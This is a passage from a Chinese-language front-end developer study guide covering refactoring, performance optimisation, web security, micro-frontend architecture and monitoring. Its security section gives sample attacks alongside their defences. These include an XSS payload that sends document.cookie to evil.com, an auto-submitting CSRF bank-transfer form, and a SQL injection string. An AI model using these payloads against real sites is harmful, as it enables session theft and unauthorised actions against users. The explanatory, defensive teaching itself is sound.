设计 架构是否合理、是否过度设计
性能 有无性能问题、是否需要优化
安全 有无安全隐患(XSS、注入)
规范 是否遵循代码规范
测试 是否覆盖测试用例
文档 是否更新文档

52. 代码质量

衡量指标

指标 说明 工具
圈复杂度 代码路径复杂度 ESLint complexity
重复率 代码重复程度 SonarQube
测试覆盖率 测试覆盖的代码比例 Jest/Istanbul
技术债务 修复问题所需时间 SonarQube
代码异味 潜在问题代码 ESLint/SonarQube

五、重构技巧

53. 代码重构

定义

在不改变代码外部行为的前提下,改善代码的内部结构。

重构原则

  1. 红-绿-重构:先写测试(红)→ 实现功能(绿)→ 重构优化
  2. 小步重构:每次只做小改动,确保测试通过
  3. 频繁提交:每次重构后立即提交
  4. 保持测试通过:重构前后测试应全部通过

54. 重构技巧

技巧 说明 适用场景
提取函数 将代码块提取为独立函数 重复代码、过长函数
提取变量 将表达式结果赋给变量 复杂表达式、增加可读性
内联函数 将函数体替换为调用处 函数体过于简单
内联变量 直接使用表达式替代变量 临时变量
重命名 改进名称以增加可读性 命名不清晰
移动函数 将函数移到更合适的类/模块 函数归属不当
移动字段 将字段移到更合适的类 字段归属不当
封装字段 为字段提供 getter/setter 直接访问字段
封装集合 控制集合的访问和修改 暴露内部集合
引入断言 使用断言验证假设 调试、防御性编程

55. 提取函数

// 重构前
function printOwing(invoice) {
  let outstanding = 0;
  console.log('***********************');
  console.log('**** Customer Owes ****');
  console.log('***********************');
  
  // 计算明细
  for (const item of invoice.items) {
    outstanding += item.amount;
  }
  
  // 打印明细
  console.log(`name: ${invoice.customer}`);
  console.log(`amount: ${outstanding}`);
}

// 重构后:提取函数
function printOwing(invoice) {
  printBanner();
  const outstanding = calculateOutstanding(invoice);
  printDetails(invoice, outstanding);
}

function printBanner() {
  console.log('***********************');
  console.log('**** Customer Owes ****');
  console.log('***********************');
}

function calculateOutstanding(invoice) {
  return invoice.items.reduce((sum, item) => sum + item.amount, 0);
}

function printDetails(invoice, outstanding) {
  console.log(`name: ${invoice.customer}`);
  console.log(`amount: ${outstanding}`);
}

56. 提取变量

// 重构前
if (user.role === 'admin' && user.status === 'active' && user.permissions.includes('delete')) {
  // ...
}

// 重构后
const isAdmin = user.role === 'admin';
const isActive = user.status === 'active';
const canDelete = user.permissions.includes('delete');

if (isAdmin && isActive && canDelete) {
  // ...
}

57. 内联函数

// 重构前
function getRating(driver) {
  return moreThanFiveLateDeliveries(driver) ? 2 : 1;
}

function moreThanFiveLateDeliveries(driver) {
  return driver.numberOfLateDeliveries > 5;
}

// 重构后
function getRating(driver) {
  return driver.numberOfLateDeliveries > 5 ? 2 : 1;
}

58. 封装字段

// 重构前
class Person {
  constructor(name) {
    this.name = name;
  }
}

const p = new Person('张三');
p.name = ''; // 可以直接修改

// 重构后
class Person {
  #name;
  
  constructor(name) {
    this.setName(name);
  }
  
  getName() {
    return this.#name;
  }
  
  setName(value) {
    if (!value) throw new Error('name 不能为空');
    this.#name = value;
  }
}

59. 封装集合

// 重构前
class Team {
  constructor() {
    this.members = [];
  }
}

const team = new Team();
team.members = []; // 可以直接替换整个集合

// 重构后
class Team {
  #members = [];
  
  getMembers() {
    return [...this.#members]; // 返回副本
  }
  
  addMember(member) {
    this.#members.push(member);
  }
  
  removeMember(member) {
    this.#members = this.#members.filter(m => m !== member);
  }
}

六、性能优化策略

60. 前端性能优化

优化维度

维度 优化方向
加载优化 减少资源体积、减少请求数量
执行优化 减少 JS 执行时间、优化算法
渲染优化 减少重排重绘、使用 GPU 加速
网络优化 使用 CDN、HTTP/2、缓存策略
图片优化 格式选择、懒加载、响应式图片
缓存优化 浏览器缓存、Service Worker
首屏优化 SSR/SSG、代码分割、预加载
白屏优化 骨架屏、内联关键 CSS

61. 加载优化

策略

策略 说明 实现
代码分割 按路由/组件拆分代码 Webpack splitChunks、React.lazy
资源压缩 减小文件体积 Terser、CSSNano
图片压缩 优化图片大小 WebP、AVIF、Tinypng
Gzip/Brotli 压缩传输内容 Nginx 配置
CDN 加速 就近获取资源 CDN 分发
按需加载 用时才加载 动态 import()、懒加载
预加载 提前加载资源 <link rel="preload">
预连接 提前建立连接 <link rel="preconnect">

代码示例

// 路由懒加载
const Home = () => import('./pages/Home.vue');
const About = () => import('./pages/About.vue');

// React.lazy
const LazyComponent = React.lazy(() => import('./HeavyComponent'));

// 图片懒加载
<img loading="lazy" src="image.jpg" alt="图片" />

// 预加载关键资源
<link rel="preload" href="/fonts/main.woff2" as="font" crossorigin>
<link rel="preload" href="/css/critical.css" as="style">

// 预连接第三方域名
<link rel="preconnect" href="https://api.example.com">
<link rel="dns-prefetch" href="https://cdn.example.com">

62. 执行优化

策略

策略 说明
防抖/节流 减少高频事件触发
虚拟列表 只渲染可视区域
Web Worker 将计算移出主线程
避免强制同步布局 批量读写 DOM
减少闭包 减少内存占用
对象池 复用对象减少 GC

代码示例

// 防抖
function debounce(fn, delay) {
  let timer = null;
  return function(...args) {
    clearTimeout(timer);
    timer = setTimeout(() => fn.apply(this, args), delay);
  };
}

// 节流
function throttle(fn, limit) {
  let inThrottle = false;
  return function(...args) {
    if (!inThrottle) {
      fn.apply(this, args);
      inThrottle = true;
      setTimeout(() => inThrottle = false, limit);
    }
  };
}

// 虚拟列表
function VirtualList({ items, itemHeight, visibleCount }) {
  const [scrollTop, setScrollTop] = useState(0);
  
  const startIndex = Math.floor(scrollTop / itemHeight);
  const endIndex = Math.min(startIndex + visibleCount, items.length);
  const visibleItems = items.slice(startIndex, endIndex);
  
  return (
    <div style={{ height: visibleCount * itemHeight, overflow: 'auto' }}
         onScroll={e => setScrollTop(e.target.scrollTop)}>
      <div style={{ height: items.length * itemHeight, position: 'relative' }}>
        {visibleItems.map((item, i) => (
          <div key={i} style={{ 
            position: 'absolute', 
            top: (startIndex + i) * itemHeight 
          }}>
            {item}
          </div>
        ))}
      </div>
    </div>
  );
}

// Web Worker
const worker = new Worker('worker.js');
worker.postMessage(data);
worker.onmessage = (e) => {
  console.log('计算结果:', e.data);
};

63. 渲染优化

策略

策略 说明
减少重排 批量修改样式、使用 transform/opacity
减少重绘 避免频繁修改可见性、颜色
使用 will-change 提示浏览器优化
CSS 含合成 使用 transform 代替 top/left
避免布局抖动 避免交替读写 DOM
使用 DocumentFragment 批量插入 DOM

代码示例

// 好的做法:使用 transform
.element {
  transition: transform 0.3s;
}
.element:hover {
  transform: translateX(100px);
}

// 不好的做法:使用 top/left
.element {
  transition: left 0.3s;
}
.element:hover {
  left: 100px;
}

// 批量 DOM 操作
// 不好的做法
list.forEach(item => {
  const el = document.createElement('li');
  el.textContent = item;
  container.appendChild(el); // 多次触发重排
});

// 好的做法
const fragment = document.createDocumentFragment();
list.forEach(item => {
  const el = document.createElement('li');
  el.textContent = item;
  fragment.appendChild(el);
});
container.appendChild(fragment); // 只触发一次重排

// 避免布局抖动
// 不好的做法
div.style.width = '100px';
console.log(div.offsetWidth); // 强制同步布局
div.style.height = '200px';
console.log(div.offsetHeight); // 强制同步布局

// 好的做法
console.log(div.offsetWidth); // 先读取
div.style.width = '100px';    // 后写入
console.log(div.offsetHeight);
div.style.height = '200px';

64. 网络优化

策略

策略 说明
HTTP/2 多路复用、头部压缩
CDN 就近分发资源
资源合并 减少请求数(HTTP/1.1)
缓存策略 合理设置 Cache-Control
预请求 DNS 预解析、预连接

缓存策略

// HTTP 缓存头
// 强缓存
Cache-Control: max-age=31536000, immutable // 一年,不验证
Cache-Control: max-age=3600                // 一小时

// 协商缓存
ETag: "abc123"                             // 文件指纹
Last-Modified: Wed, 21 Oct 2023 07:28:00 GMT

// Nginx 配置示例
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2)$ {
  expires 1y;
  add_header Cache-Control "public, immutable";
}

location / {
  add_header Cache-Control "no-cache";
}

65. 图片优化

策略

策略 说明
格式选择 WebP/AVIF 优先,PNG 用于透明,JPEG 用于照片
响应式图片 srcset + sizes 适配不同屏幕
懒加载 loading="lazy"
压缩 使用工具压缩图片
雪碧图 合并小图标
Base64 小图标内联

代码示例

<!-- 响应式图片 -->
<img 
  srcset="small.jpg 480w, medium.jpg 800w, large.jpg 1200w"
  sizes="(max-width: 480px) 480px, (max-width: 800px) 800px, 1200px"
  src="medium.jpg"
  alt="响应式图片"
  loading="lazy"
>

<!-- 使用 picture 元素 -->
<picture>
  <source srcset="image.webp" type="image/webp">
  <source srcset="image.avif" type="image/avif">
  <img src="image.jpg" alt="图片">
</picture>

66. 缓存优化

浏览器缓存层次

缓存类型 位置 有效期
Service Worker 浏览器 持久化
Memory Cache 内存 会话期间
Disk Cache 磁盘 根据 HTTP 头
Push Cache HTTP/2 连接 连接期间

localStorage/sessionStorage

// 带过期时间的缓存
function setWithExpiry(key, value, ttl) {
  const item = {
    value,
    expiry: Date.now() + ttl
  };
  localStorage.setItem(key, JSON.stringify(item));
}

function getWithExpiry(key) {
  const itemStr = localStorage.getItem(key);
  if (!itemStr) return null;
  
  const item = JSON.parse(itemStr);
  if (Date.now() > item.expiry) {
    localStorage.removeItem(key);
    return null;
  }
  return item.value;
}

67. 首屏优化

策略

策略 说明
SSR/SSG 服务端渲染/静态生成
代码分割 只加载首屏代码
内联关键 CSS 将首屏样式内联到 HTML
骨架屏 首屏占位
预渲染 构建时生成静态 HTML
资源优先级 preload/prefetch

骨架屏示例

<template>
  <div class="skeleton">
    <div class="skeleton-header"></div>
    <div class="skeleton-content">
      <div class="skeleton-line" v-for="i in 5" :key="i"></div>
    </div>
    <div class="skeleton-footer"></div>
  </div>
</template>

<style scoped>
.skeleton-line {
  height: 16px;
  background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%);
  background-size: 200% 100%;
  animation: shimmer 1.5s infinite;
  margin-bottom: 8px;
  border-radius: 4px;
}

@keyframes shimmer {
  0% { background-position: 200% 0; }
  100% { background-position: -200% 0; }
}
</style>

68. 白屏优化

策略

策略 说明
内联关键 JS 将初始化逻辑内联到 HTML
异步加载脚本 async/defer 加载
首屏直出 SSR 或预渲染
容错处理 JS 加载失败时的降级方案
预加载字体 避免字体闪烁

代码示例

<!DOCTYPE html>
<html>
<head>
  <style>
    /* 内联关键 CSS */
    .loading { display: flex; justify-content: center; align-items: center; height: 100vh; }
    .spinner { width: 40px; height: 40px; border: 3px solid #f3f3f3; border-top: 3px solid #3498db; border-radius: 50%; animation: spin 1s linear infinite; }
    @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
  </style>
</head>
<body>
  <div id="app">
    <div class="loading">
      <div class="spinner"></div>
      <p>加载中...</p>
    </div>
  </div>
  
  <script defer src="/js/app.js"></script>
</body>
</html>

69. 多维度性能优化策略有哪些?

Lighthouse 评分维度

维度 指标 目标值
性能 FCP(首次内容绘制) < 1.8s
性能 LCP(最大内容绘制) < 2.5s
性能 FID(首次输入延迟) < 100ms
性能 CLS(累积布局偏移) < 0.1
性能 TTI(可交互时间) < 3.8s
性能 TBT(总阻塞时间) < 200ms

优化路线图

1. 测量 → 使用 Lighthouse/Performance API 获取当前指标
2. 分析 → 定位瓶颈(网络、JS 执行、渲染)
3. 优化 → 针对性实施优化策略
4. 验证 → 重新测量确认效果
5. 监控 → 持续监控性能指标

七、安全策略

70. 前端安全

安全原则

  • 最小权限:只授予必要的权限
  • 纵深防御:多层防护
  • 不信任用户输入:所有输入都应验证和转义
  • 安全默认:默认开启安全策略

71. XSS 攻击

定义

XSS(跨站脚本攻击,Cross-Site Scripting)是攻击者向目标网站注入恶意脚本,在其他用户浏览器中执行。

攻击类型

类型 说明 示例
存储型 XSS 恶意脚本存储在服务器 评论中注入 <script> 标签
反射型 XSS 通过 URL 参数传递 搜索框:?q=<script>alert(1)</script>
DOM 型 XSS 通过前端 JS 操作 DOM innerHTML = userInput

攻击示例

// 存储型 XSS 场景
// 攻击者在评论框输入
const maliciousComment = `
  <img src="x" onerror="fetch('https://evil.com/steal?cookie=' + document.cookie)">
`;

// 如果后端没过滤,前端没转义
<div class="comment">
  ${userInput} // 恶意脚本执行
</div>

// DOM 型 XSS
const hash = location.hash.substring(1);
document.getElementById('output').innerHTML = hash; // 危险!

72. XSS 防御

防御策略

策略 说明 实现
输入过滤 验证和过滤用户输入 白名单验证、特殊字符转义
输出编码 输出时转义特殊字符 HTML 实体编码
CSP 内容安全策略 设置 HTTP 头
HttpOnly 禁止 JS 访问 Cookie Set-Cookie: HttpOnly
框架防护 框架自动转义 Vue/React 默认转义

代码实现

// HTML 转义函数
function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;'
  };
  return str.replace(/[&<>"'/]/g, s => map[s]);
}

// 使用
const userInput = '<script>alert(1)</script>';
const safeOutput = escapeHtml(userInput);
// &lt;script&gt;alert(1)&lt;/script&gt;

// DOMPurify 库
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);

// CSP 头配置
// Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
// Content-Security-Policy: script-src 'self' https://trusted-cdn.com

Vue/React 的安全特性

<!-- Vue 自动转义 -->
<div>{{ userInput }}</div> <!-- 安全,自动转义 -->
<div v-html="userInput"></div> <!-- 危险!需要自行处理 -->
// React 自动转义
<div>{userInput}</div> {/* 安全 */}
<div dangerouslySetInnerHTML={{ __html: userInput }} /> {/* 危险 */}

73. CSRF 攻击

定义

CSRF(跨站请求伪造,Cross-Site Request Forgery)是攻击者诱导用户在已认证的网站上执行非预期操作。

攻击原理

  1. 用户登录目标网站,获得 Cookie
  2. 用户访问恶意网站
  3. 恶意网站发送请求到目标网站
  4. 浏览器自动携带 Cookie,请求成功

攻击示例

<!-- 恶意网站 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

<!-- 或者 -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>

74. CSRF 防御

防御策略

策略 说明 实现
CSRF Token 请求携带随机 Token 表单/请求头携带 Token
SameSite Cookie 限制 Cookie 跨站发送 Set-Cookie: SameSite=Strict
验证 Referer 检查请求来源 服务端验证 Referer 头
自定义请求头 要求携带自定义头 X-Requested-With

代码实现

// CSRF Token 方案
// 后端生成 Token 放入页面
<meta name="csrf-token" content="abc123xyz">

// 前端携带 Token
axios.interceptors.request.use(config => {
  const token = document.querySelector('meta[name="csrf-token"]').content;
  config.headers['X-CSRF-Token'] = token;
  return config;
});

// 后端验证
app.post('/api/transfer', (req, res) => {
  const csrfToken = req.headers['x-csrf-token'];
  if (csrfToken !== req.session.csrfToken) {
    return res.status(403).send('CSRF Token 验证失败');
  }
  // 处理转账
});

// SameSite Cookie
Set-Cookie: sessionId=abc123; SameSite=Strict; Secure
Set-Cookie: sessionId=abc123; SameSite=Lax; Secure

75. SQL 注入

定义

攻击者通过在输入中注入恶意 SQL 语句,改变原有 SQL 逻辑。

攻击示例

// 危险:拼接 SQL
const sql = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
// 攻击者输入:' OR '1'='1' --
// 结果 SQL:SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''

// 安全:使用参数化查询
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.execute(sql, [username, password]);

76. 点击劫持

定义

攻击者将目标网站嵌入 iframe,诱导用户点击被覆盖的不可见元素。

防御

// X-Frame-Options 头
X-Frame-Options: DENY          // 不允许任何 iframe 嵌入
X-Frame-Options: SAMEORIGIN    // 只允许同源
X-Frame-Options: ALLOW-FROM https://example.com // 允许指定域名

// JS 防护
if (window.top !== window.self) {
  window.top.location = window.self.location;
}

77. 中间人攻击(MITM)

定义

攻击者在通信双方之间拦截、篡改或伪造数据。

防御

  • 使用 HTTPS 加密传输
  • HSTS(HTTP Strict Transport Security)
  • 证书锁定(Certificate Pinning)
  • 避免使用公共 WiFi 传输敏感信息

78. 内容安全策略(CSP)

定义

CSP(Content Security Policy)是一个额外的安全层,用于检测和缓解某些类型的攻击,包括 XSS 和数据注入。

配置

# 基本配置
Content-Security-Policy: default-src 'self'

# 允许特定域名
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';

# Report-Only 模式(不阻止只报告)
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

指令说明

指令 说明
default-src 默认策略
script-src 脚本来源
style-src 样式来源
img-src 图片来源
font-src 字体来源
connect-src 连接来源(fetch、WebSocket)
frame-ancestors 允许嵌入的父页面
form-action 允许的表单提交地址

79. HTTPS

定义

HTTPS 是 HTTP 的安全版本,通过 SSL/TLS 加密数据传输。

优势

  • 数据加密:防止数据被窃听
  • 身份认证:防止中间人攻击
  • 数据完整性:防止数据被篡改

混合内容问题

<!-- 主动混合内容(被阻止) -->
<script src="http://example.com/script.js"></script>

<!-- 被动混合内容(警告) -->
<img src="http://example.com/image.jpg">

<!-- 解决方案:协议相对路径 -->
<script src="//example.com/script.js"></script>

<!-- Upgrade-Insecure-Requests -->
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">

80. 安全头配置

常用安全头

头部 说明
Content-Security-Policy 各种指令 内容安全策略
X-Content-Type-Options nosniff 禁止 MIME 嗅探
X-Frame-Options DENY/SAMEORIGIN 防止点击劫持
X-XSS-Protection 1; mode=block XSS 过滤器(已废弃)
Strict-Transport-Security max-age=31536000 HSTS
Referrer-Policy no-referrer 控制 Referer 信息
Permissions-Policy 各种权限 控制浏览器功能访问

Nginx 配置

server {
  add_header X-Content-Type-Options "nosniff" always;
  add_header X-Frame-Options "DENY" always;
  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
  add_header Referrer-Policy "strict-origin-when-cross-origin" always;
  add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
  add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
}

81. 请谈谈你对前端安全性的理解,以及常见的安全攻击和防御手段

前端安全核心理念

  1. 所有用户输入都是不可信的:必须验证、过滤、转义
  2. 纵深防御:不依赖单一防护手段
  3. 安全默认:默认开启最严格的策略
  4. 最小权限:只开放必要的功能和接口

攻击与防御矩阵

攻击类型 原理 防御手段
XSS 注入恶意脚本 输入过滤、输出编码、CSP、HttpOnly
CSRF 伪造用户请求 CSRF Token、SameSite Cookie、Referer 验证
SQL 注入 注入恶意 SQL 参数化查询、ORM
点击劫持 iframe 覆盖 X-Frame-Options、CSP frame-ancestors
中间人攻击 拦截通信 HTTPS、HSTS

八、微前端架构

82. 微前端

定义

微前端(Micro Frontends)是一种将前端应用拆分为多个小型独立应用的架构模式,每个应用可以由不同团队独立开发、测试和部署。

核心特征

  • 技术栈无关:各子应用可以使用不同框架
  • 独立部署:子应用可以独立发布
  • 增量升级:逐步迁移,无需重写全部代码
  • 团队自治:不同团队独立开发

83. 微前端架构是什么?

架构模式

┌─────────────────────────────────────────┐
│              基座应用 (Shell)              │
│  ┌───────────────────────────────────┐  │
│  │          路由分发层                  │  │
│  └───────────────────────────────────┘  │
│  ┌────────┐ ┌────────┐ ┌────────┐       │
│  │ 子应用A │ │ 子应用B │ │ 子应用C │       │
│  │ React  │ │ Vue    │ │ Angular│       │
│  └────────┘ └────────┘ └────────┘       │
└─────────────────────────────────────────┘

适用场景

  • 大型项目、多团队协作
  • 历史遗留系统逐步迁移
  • 需要独立部署的功能模块

84. 微前端实现方案

方案对比

方案 原理 优点 缺点
iframe 原生 iframe 嵌入 简单、完全隔离 通信困难、性能差、URL 不同步
Web Components 自定义元素标准 标准化、组件化 兼容性、样式穿透困难
single-spa JS 沙箱 + 路由分发 轻量、灵活 需要手动处理隔离
qiankun single-spa 封装 开箱即用、样式/JS 隔离 有一定学习成本
Module Federation Webpack5 原生 模块级共享、性能好 仅 Webpack5

85. iframe 方案

实现

<!-- 基座应用 -->
<div id="micro-app-container">
  <iframe 
    src="http://app-a.example.com" 
    id="app-a"
    sandbox="allow-scripts allow-same-origin allow-forms"
  ></iframe>
</div>

<style>
#micro-app-container iframe {
  width: 100%;
  height: 100vh;
  border: none;
}
</style>

通信方案

// postMessage 通信
// 父应用
const iframe = document.getElementById('app-a');
iframe.contentWindow.postMessage({ type: 'SET_TOKEN', data: token }, '*');

// 子应用
window.addEventListener('message', (e) => {
  if (e.data.type === 'SET_TOKEN') {
    localStorage.setItem('token', e.data.data);
  }
});

86. Web Components

实现

// 定义组件
class MicroAppComponent extends HTMLElement {
  constructor() {
    super();
    this.attachShadow({ mode: 'open' });
  }
  
  connectedCallback() {
    this.shadowRoot.innerHTML = `
      <style>
        :host { display: block; }
        h1 { color: #333; }
      </style>
      <h1>微前端应用</h1>
    `;
  }
  
  disconnectedCallback() {
    // 清理
  }
}

customElements.define('micro-app', MicroAppComponent);

// 使用
<micro-app></micro-app>

87. single-spa

实现

import { registerApplication, start } from 'single-spa';

// 注册子应用
registerApplication({
  name: 'app-a',
  app: () => import('http://app-a.example.com/main.js'),
  activeWhen: ['/app-a']
});

registerApplication({
  name: 'app-b',
  app: () => import('http://app-b.example.com/main.js'),
  activeWhen: ['/app-b']
});

start();

子应用生命周期

export async function bootstrap(props) {
  console.log('子应用 bootstrap');
}

export async function mount(props) {
  console.log('子应用 mount');
  // 渲染应用
}

export async function unmount(props) {
  console.log('子应用 unmount');
  // 清理资源
}

88. qiankun

基座应用配置

import { registerMicroApps, start } from 'qiankun';

registerMicroApps([
  {
    name: 'app-vue',
    entry: '//localhost:8081',
    container: '#container',
    activeRule: '/app-vue',
    props: { token: 'xxx' }
  },
  {
    name: 'app-react',
    entry: '//localhost:8082',
    container: '#container',
    activeRule: '/app-react'
  }
]);

start({
  sandbox: { strictStyleIsolation: true },
  prefetch: true
});

子应用配置(Vue)

// main.js
import Vue from 'vue';
import VueRouter from 'vue-router';

let instance = null;

function render(props = {}) {
  const { container } = props;
  instance = new Vue({
    router,
    store,
    render: h => h(App)
  }).$mount(container ? container.querySelector('#app') : '#app');
}

if (!window.__POWERED_BY_QIANKUN__) {
  render();
}

export async function bootstrap() {}

export async function mount(props) {
  render(props);
}

export async function unmount() {
  instance.$destroy();
  instance = null;
}

89. Module Federation

配置

// 主应用 webpack.config.js
const { ModuleFederationPlugin } = require('webpack').container;

module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: 'host',
      remotes: {
        appA: 'appA@http://localhost:3001/remoteEntry.js',
      },
      shared: ['react', 'react-dom']
    })
  ]
};

// 子应用 webpack.config.js
module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: 'appA',
      filename: 'remoteEntry.js',
      exposes: {
        './App': './src/App',
      },
      shared: ['react', 'react-dom']
    })
  ]
};

// 使用
const AppA = React.lazy(() => import('appA/App'));

90. 微前端通信

通信方案

方案 适用场景
props 传递 基座向子应用传递数据
自定义事件 子应用间解耦通信
全局状态 跨应用共享状态
localStorage 简单数据持久化
URL 参数 路由参数传递

代码实现

// 全局状态方案
class MicroAppState {
  constructor() {
    this.state = {};
    this.listeners = {};
  }
  
  set(key, value) {
    this.state[key] = value;
    if (this.listeners[key]) {
      this.listeners[key].forEach(fn => fn(value));
    }
  }
  
  get(key) {
    return this.state[key];
  }
  
  on(key, fn) {
    if (!this.listeners[key]) this.listeners[key] = [];
    this.listeners[key].push(fn);
  }
}

export const globalState = new MicroAppState();

// 使用
globalState.set('user', { name: '张三' });
globalState.on('user', (user) => {
  console.log('用户信息变更:', user);
});

91. 微前端样式隔离

方案对比

方案 说明 优缺点
Shadow DOM 浏览器原生隔离 完全隔离,但穿透困难
CSS Scoped 添加唯一前缀 实现简单,性能较好
CSS Modules 类名哈希化 工程化支持好
动态样式 挂载时添加,卸载时移除 简单有效

qiankun 样式隔离

start({
  sandbox: {
    strictStyleIsolation: true,  // Shadow DOM
    experimentalStyleIsolation: true  // 动态 scoped
  }
});

// experimentalStyleIsolation 会添加 data-qiankun 属性
// 实际效果:.app-class[data-qiankun="app-a"]

92. 微前端状态共享

方案

// 基于 RxJS 的状态管理
import { BehaviorSubject } from 'rxjs';

class SharedState {
  constructor() {
    this.subjects = {};
  }
  
  get(key, defaultValue) {
    if (!this.subjects[key]) {
      this.subjects[key] = new BehaviorSubject(defaultValue);
    }
    return this.subjects[key];
  }
  
  set(key, value) {
    this.get(key).next(value);
  }
}

export const sharedState = new SharedState();

// 子应用 A - 发布状态
sharedState.set('currentUser', { id: 1, name: '张三' });

// 子应用 B - 订阅状态
sharedState.get('currentUser').subscribe(user => {
  console.log('当前用户:', user);
});

93. 微前端部署

部署方案

方案 说明
独立部署 每个子应用独立部署到不同服务器
统一构建 主应用和子应用统一构建后部署
CDN 部署 子应用部署到 CDN,基座引用 CDN 地址
Docker 容器化 每个子应用独立容器

CI/CD 流程

┌─────────┐    ┌─────────┐    ┌─────────┐
│ 子应用A  │    │ 子应用B  │    │ 子应用C  │
│  独立CI  │    │  独立CI  │    │  独立CI  │
└────┬────┘    └────┬────┘    └────┬────┘
     │              │              │
     ▼              ▼              ▼
┌─────────────────────────────────────────┐
│              CDN / 静态服务器               │
└─────────────────────────────────────────┘
                     ▲
                     │
┌─────────────────────────────────────────┐
│            基座应用(引用子应用地址)          │
│            独立部署、独立版本控制              │
└─────────────────────────────────────────┘

九、监控体系

94. 监控体系包括哪些? / 前端监控体系包括哪些内容?

前端监控体系组成

维度 内容 说明
性能监控 页面加载、渲染、交互性能 FCP、LCP、FID、CLS 等
错误监控 JS 错误、资源加载错误、接口错误 try-catch、window.onerror
用户行为 页面访问、点击、转化漏斗 埋点、PV/UV
业务监控 业务指标、转化率 订单量、注册量
安全监控 XSS 攻击、异常请求 CSP 报告、异常请求分析

95. 前端监控的实现(错误收集、性能监控)

错误收集

// 1. 全局 JS 错误
window.addEventListener('error', (e) => {
  reportError({
    type: 'js-error',
    message: e.message,
    filename: e.filename,
    lineno: e.lineno,
    colno: e.colno,
    stack: e.error?.stack
  });
}, true);

// 2. Promise 未捕获错误
window.addEventListener('unhandledrejection', (e) => {
  reportError({
    type: 'promise-error',
    message: e.reason?.message || String(e.reason),
    stack: e.reason?.stack
  });
});

// 3. 资源加载错误
window.addEventListener('error', (e) => {
  if (e.target !== window) {
    reportError({
      type: 'resource-error',
      tagName: e.target.tagName,
      src: e.target.src || e.target.href
    });
  }
}, true);

// 4. Vue 错误处理
app.config.errorHandler = (err, instance, info) => {
  reportError({
    type: 'vue-error',
    message: err.message,
    component: instance?.$options?.name,
    info
  });
};

// 5. React 错误边界
class ErrorBoundary extends React.Component {
  componentDidCatch(error, errorInfo) {
    reportError({
      type: 'react-error',
      message: error.message,
      componentStack: errorInfo.componentStack
    });
  }
  
  render() {
    return this.props.children;
  }
}

性能监控

// Performance API
function collectPerformanceMetrics() {
  const navigation = performance.getEntriesByType('navigation')[0];
  const paint = performance.getEntriesByType('paint');
  
  return {
    // 导航计时
    dns: navigation.domainLookupEnd - navigation.domainLookupStart,
    tcp: navigation.connectEnd - navigation.connectStart,
    ttfb: navigation.responseStart - navigation.requestStart,
    download: navigation.responseEnd - navigation.responseStart,
    
    // 渲染计时
    fcp: paint.find(p => p.name === 'first-contentful-paint')?.startTime,
    
    // 页面可用
    domReady: navigation.domContentLoadedEventEnd - navigation.startTime,
    load: navigation.loadEventEnd - navigation.startTime
  };
}

// Web Vitals
import { getCLS, getFID, getFCP, getLCP, getTTFB } from 'web-vitals';

getCLS(reportMetric);
getFID(reportMetric);
getFCP(reportMetric);
getLCP(reportMetric);
getTTFB(reportMetric);

function reportMetric(metric) {
  sendToAnalytics({
    name: metric.name,
    value: metric.value,
    delta: metric.delta,
    rating: metric.rating
  });
}

96. 如何实现前端埋点监控系统?

埋点类型

类型 说明 实现
页面浏览(PV) 记录页面访问 路由变化监听
用户行为 点击、滚动、输入 事件委托
自定义事件 业务事件 手动调用
性能数据 页面性能 Performance API
错误数据 运行时错误 全局监听

埋点系统实现

class Tracker {
  constructor(options) {
    this.appId = options.appId;
    this.userId = options.userId;
    this.queue = [];
    this.batchSize = options.batchSize || 10;
    this.flushInterval = options.flushInterval || 5000;
    this.apiEndpoint = options.apiEndpoint;
    
    this.startAutoFlush();
  }
  
  // 页面浏览
  trackPageView(pageName, properties = {}) {
    this.track('page_view', { page_name: pageName, ...properties });
  }
  
  // 自定义事件
  trackEvent(eventName, properties = {}) {
    this.track(eventName, properties);
  }
  
  // 核心方法
  track(event, properties = {}) {
    const data = {
      event,
      properties,
      user_id: this.userId,
      app_id: this.appId,
      timestamp: Date.now(),
      url: location.href,
      referrer: document.referrer,
      user_agent: navigator.userAgent,
      screen: `${screen.width}x${screen.height}`
    };
    
    this.queue.push(data);
    
    if (this.queue.length >= this.batchSize) {
      this.flush();
    }
  }
  
  // 批量上报
  async flush() {
    if (this.queue.length === 0) return;
    
    const data = this.queue.splice(0, this.batchSize);
    
    try {
      await navigator.sendBeacon(this.apiEndpoint, JSON.stringify(data));
    } catch (e) {
      // 降级为图片请求
      new Image().src = `${this.apiEndpoint}?data=${encodeURIComponent(JSON.stringify(data))}`;
    }
  }
  
  startAutoFlush() {
    setInterval(() => this.flush(), this.flushInterval);
  }
}

// 自动 PV 追踪
function trackPageView(tracker) {
  const originalPushState = history.pushState;
  history.pushState = function(...args) {
    originalPushState.apply(this, args);
    tracker.trackPageView(location.pathname);
  };
  
  window.addEventListener('popstate', () => {
    tracker.trackPageView(location.pathname);
  });
  
  // 初始页面
  tracker.trackPageView(location.pathname);
}

// 使用
const tracker = new Tracker({
  appId: 'my-app',
  userId: getUserId(),
  apiEndpoint: '/api/track'
});

trackPageView(tracker);

